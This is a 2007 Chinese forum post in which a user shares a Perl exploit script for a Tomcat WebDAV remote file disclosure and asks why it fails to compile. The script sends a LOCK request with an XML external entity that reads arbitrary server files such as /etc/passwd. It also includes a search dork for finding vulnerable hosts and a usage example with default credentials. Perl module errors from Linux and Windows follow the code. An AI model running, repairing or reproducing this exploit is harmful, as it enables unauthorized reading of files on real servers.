- 论坛徽章:
- 0
|
- #!/usr/bin/perl
- #================================================================
- # Apache Tomcat Remote File Disclosure Zeroday Xploit - With support for SSL
- # MoDiFiEd version by : h3rcul3s
- # ORiGiNaL Version by : kcdarookie aka eliteb0y / 2007 [url]http://milw0rm.org/exploits/4530[/url]
- # MoDiFiCaTiOn : This code is useble against targets over SSL
- # Prerequisites : A valid login credentials, webdav
- # DoRk : intitle:"Directory Listing For /" + inurl:webdav tomcat
- # Potential targets : similar to [url]https://www.somehost.com:8443[/url]
- #================================================================
- # THaNkS To eliteb0y, the whole team AnD "perlmonks".
- # This piece of code is written ONLY for educational purpose.
- # Use it at your own risk.
- # No author will be responsible for any damage.
- #================================================================
- # -------------------------[C O D E]-----------------------------
- #================================================================
- use LWP::Protocol::https;
- use IO::Socket;
- use MIME::Base64; ### FIXME! Maybe support other auths too ?
- # SET REMOTE PORT HERE--------------------------------------------
- $remoteport = 8443;
- sub usage {
- print "\nApache Tomcat Remote File Disclosure Zeroday Xploit\n";
- print "\n\n";
- print "Basic exploit by : kcdarookie aka eliteb0y / 2007\n";
- print "SSL Support added by : .o0|h 3 r c u l 3 s|0o. \n";
- print "\n\n";
- print "USAGE :\nperl TOMCATXPL-SSL <remotehost> <webdav file> <file to retrieve> [username] [password] [https]\n";
- print "\nExample:\nperl TOMCATXPL-SSL [url]www.hostname.com[/url] /webdav /etc/passwd tomcat tomcat https\n\n";exit;
- }
- if ($#ARGV < 2) {usage();}
- $hostname = $ARGV[0];
- $webdavfile = $ARGV[1];
- $remotefile = $ARGV[2];
- $username = $ARGV[3];
- $password = $ARGV[4];
- my $sock = LWP::Protocol::https::Socket->new(PeerAddr => $hostname,
- PeerPort => $remoteport,
- Proto => 'tcp');
- $|=1;
- $BasicAuth = encode_base64("$username:$password");
- $KRADXmL =
- "<?xml version=\"1.0\"?>\n"
- ."<!DOCTYPE REMOTE [\n"
- ."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
- ."]>\n"
- ."<D:lockinfo xmlns:D='DAV:'>\n"
- ."<D:lockscope><D:exclusive/></D:lockscope>\n"
- ."<D:locktype><D:write/></D:locktype>\n"
- ."<D:owner>\n"
- ."<D:href>\n"
- ."<REMOTE>\n"
- ."<RemoteX>&RemoteX;</RemoteX>\n"
- ."</REMOTE>\n"
- ."</D:href>\n"
- ."</D:owner>\n"
- ."</D:lockinfo>\n";
- print "\nApache Tomcat Remote File Disclosure Zeroday Eploit-SSL verssion\n";
- print "\n";
- print "Launching Remote Exploit over SSL...\n";
- $ExploitRequest =
- "LOCK $webdavfile HTTP/1.1\r\n"
- ."Host: $hostname\r\n";
- if ($username ne "") {
- $ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
- }
- $ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;
- print $sock $ExploitRequest;
- while(<$sock>) {
- print;
- }
复制代码
在LINUX下和WINDOWS下编译失败,请朋友们帮忙看一下是什么原因?THANKS~~~~
E:\>perl TOMCATXPL-SSL.pl
Can't locate Net/SSL.pm in @INC) at D:/Perl/lib/Net/HTTPS.pm line 18.
Can't locate IO/Socket/SSL.pm in @INC (@INC contains: D:/Perl/site/lib D:/
ib .) at D:/Perl/lib/Net/HTTPS.pm line 22.
Compilation failed in require at D:/Perl/lib/LWP/Protocol/https.pm line 46
Compilation failed in require at TOMCATXPL-SSL.pl line 18.
BEGIN failed--compilation aborted at TOMCATXPL-SSL.pl line 18. [root@localhost test]# ls -al
总用量 12
drwxr-xr-x 2 root root 4096 10月 28 10:37 .
drwxr-x--- 15 root root 4096 10月 28 21:56 ..
-rw-r--r-- 1 root root 2920 10月 28 10:14 TOMCATXPL-SSL.pl
[root@localhost test]# perl TOMCATXPL-SSL.pl
Can't locate Net/SSL.pm in @INC) at /usr/lib/perl5/vendor_perl/5.8.0/Net/HTTPS.pm line 15.
Can't locate IO/Socket/SSL.pm in @INC (@INC contains: /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0 /usr/lib/perl5/site_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.0 /usr/lib/perl5/site_perl /usr/lib/perl5/vendor_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.0 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0 .) at /usr/lib/perl5/vendor_perl/5.8.0/Net/HTTPS.pm line 19.
Compilation failed in require at /usr/lib/perl5/vendor_perl/5.8.0/LWP/Protocol/https.pm line 44.
Compilation failed in require at TOMCATXPL-SSL.pl line 18.
BEGIN failed--compilation aborted at TOMCATXPL-SSL.pl line 18.
[root@localhost test]# uname -a
Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux
[root@localhost test]#
[ 本帖最后由 plbb18 于 2007-10-28 22:20 编辑 ] |
|